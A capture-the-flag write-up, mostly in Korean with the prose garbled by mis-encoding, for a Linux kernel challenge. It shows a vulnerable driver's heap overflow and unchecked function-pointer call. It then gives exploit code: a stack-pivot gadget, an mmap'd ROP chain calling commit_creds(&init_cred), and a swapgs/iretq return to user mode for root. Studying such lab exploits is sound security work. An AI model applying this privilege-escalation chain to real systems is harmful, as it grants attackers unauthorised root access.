[Writeups][Club League 2025: Final] assignment3
Club League 2025 Final์ ๋๊ฐ์ ํผ ๋ฌธ์ ๋ค. ์ฒ์ RIP Control์ ๋ค๋ฅธ ๋ถ์ด ์ฐพ์ผ์
จ๊ณ , ๋๋ ์ค๊ฐ๋ถํฐ ๋ค์ด๊ฐ์ ์ต์คํ๋ค.
์ด๊ฑด ๋ง์ง๋ง์ swapgs๋ฅผ ๋บด๋จน์ด์ ์๊ฐ ์์ ํ์ง๋ ๋ชปํ๋ค.
0. Precondition
- SMAP on
- SMEP off
- KASLR off
- KPTI off
1. ์ฝ๋ ๋ถ์
๊ต์ฅํ ์ฝ๊ฒ ์ทจ์ฝ์ ์ ์คฌ๋ค. ๋๋๊ณ ํ ์ค๋ฒํ๋ก์ฐ๋ฅผ ์ค ๊ฒ์ ์ ์ ์์๋ค.
case CMD_BOF:
ret = copy_from_user(&req, (struct bof_req *)arg, sizeof(req));
if (ret != 0) {
ret = -EFAULT;
break;
}
buf = kmem_cache_alloc(vuln_cache, GFP_KERNEL);
ret = copy_from_user(buf, req.user_buf, req.user_buf_len);
if (ret != 0)
ret = -EFAULT;
kmem_cache_free(vuln_cache, buf);
break;
๊ทธ๋ฆฌ๊ณ ์ํฅ์ ๋ฐ๋ ๊ตฌ์กฐ์ฒด์์ ๋ค์๊ณผ ๊ฐ์ด ์๋ฌด๋ฐ ๊ฒ์ฆ ์์ด ํจ์ ํฌ์ธํฐ๋ฅผ ์คํ์์ผ, RIP control์ด ๊ฐ๋ฅํ ๋ชจ์ต๋ ๋ณผ ์ ์์๋ค.
case CMD_CALL:
idx = arg;
if (!objs[idx]) {
ret = -EINVAL;
break;
}
objs[idx]->func();
break;
์ด๋ SMAP๊ฐ ๊บผ์ ธ ์์ด kernel context์์๋ ์ ์ ์์ญ์ ๋ฉ๋ชจ๋ฆฌ๋ฅผ ์ฐธ์กฐํ ์ ์๋ค๋ ์ฌ์ค์ ์๊ฐํ๋ฉด, ๋ค์๊ณผ ๊ฐ์ ๊ณต๊ฒฉ ๋ฐฉ์์ ์๊ฐํด๋ณผ ์ ์๋ค.
- ์ปค๋์์
mov esp, XXXX ; ret์ฒ๋ผesp๋ฅผ ์ ์ ์์ญ์์ ํ ๋นํ ์ ์๋ ๋ฎ์ ์ฃผ์๋ก ์ฎ๊ธฐ๋ ๊ฐ์ ฏ์ ์ฐพ์ - ์ ์ ์์ญ์์, ํด๋น ์ฃผ์๋ฅผ
mmap()ํด ํ ๋น๋ฐ์ ํ ROP chain์ ์ค๋นํด๋ - ์์ ์ฐพ์ RIP Control Primitive๋ฅผ ํตํด ์ฐพ์ ๊ฐ์ ฏ์ ์คํ์ํด
2. exploit
2-1. ๊ฐ์ ฏ ์ฐพ๊ธฐ
ROPgadget์ ํตํด ์ฝ๊ฒ ์ฐพ์ ์ ์๋ค. ๊ต์ฅํ ๋ง์ ์ฃผ์๊ฐ ๋์ค๋๋ฐ, ์ด ์ค ์๋ฌด๊ฑฐ๋ ๊ณจ๋ผ์ ์ฌ์ฉํ๋ฉด ๋๋ค. ์ฌ๊ธฐ์๋ ๋ค์๊ณผ ๊ฐ์ ๊ฐ์ ฏ์ ์ฌ์ฉํ๋ค.
0xffffffff810e9e60 : mov esp, 0xf65f7201 ; ret
2-2. ROP Chain ์ค๋น
KASLR์ด ๊บผ์ ธ ์๋ ์ํ์ด๊ธฐ ๋๋ฌธ์, ๊ทธ๋ฅ /proc/kallsyms๋ฅผ ์กฐํํด ํ์ํ ํจ์๋ค์ ์์น๋ฅผ ์ ๋ถ ์ป์ ์ ์๋ค. LPE๊ฐ ๋ชฉํ์ด๊ธฐ ๋๋ฌธ์
commit_creds(&init_cred)๋ฅผ ์คํ์ํค๋ ๊ฒ์ ๋ชฉํ๋ก ROP Chain์ ๋ง๋ค์๋ค.
์ฌ๊ธฐ์ ์ฃผ์ํ ์ ์, kernel context์์ user context๋ก ๋ณต๊ทํ ๋ iretq๋ง ์ฌ์ฉํ๋ค๊ณ ๋๋๋ ๊ฒ์ด ์๋๋ผ swapgs๋ ๊ฐ์ด ์ฌ์ฉํด์ค์ผ ํ๋ค๋ ๊ฒ์ด๋ค.
์ด๊ฑธ ๊น๋จน๊ณ ์์ด์ ๋ํ์ฅ์์ ๋ง๋ฌด๋ฆฌ๋ฅผ ๋ชป ํ๋ค. ์ฌ๊ธฐ์์๋ swapgs ; ret๊ฐ์ด ๋จ์ํ ๊ฐ์ ฏ์ด ์์ด ๋ค์๊ณผ ๊ฐ์ ํ๋ฆ์ ์ฌ์ฉํ๋ค.

rax๊ฐ์ ์ฃผ์ํด์ ์คํํด์ฃผ๋ฉด ๋๋ค. ์ฐธ๊ณ ๋ก pop rax ; ret ๊ฐ์ ฏ์ ์ฐจ๊ณ ๋์ณค๋ค.
#define mov_esp_0xf65f7201_ret 0xffffffff810e9e60
#define swapgs_pop_rdi_mov_rsp_rax_pop_rax_nop_iretq 0xffffffff8200176e
#define pop_rax_ret 0xffffffff81082d5d
...
// prepare ROP chain
char *ropchain = mmap((void *)0xf65f7000, 0x1000, PROT_READ | PROT_WRITE | PROT_EXEC,
MAP_PRIVATE | MAP_ANONYMOUS, 01, 0);
unsigned long *chain = (unsigned long *)0xf65f7201;
*chain++ = pop_rdi_ret;
*chain++ = init_cred;
*chain++ = commit_creds;
*chain++ = pop_rax_ret;
*chain++ = 0x00000000f65f7239;
*chain++ = swapgs_pop_rdi_mov_rsp_rax_pop_rax_nop_iretq;
*chain++ = 0;
*chain++ = 0;
*chain++ = (unsigned long)&win;
*chain++ = user_cs;
*chain++ = user_rflags;
*chain++ = user_rsp;
*chain++ = user_ss;
Leave a comment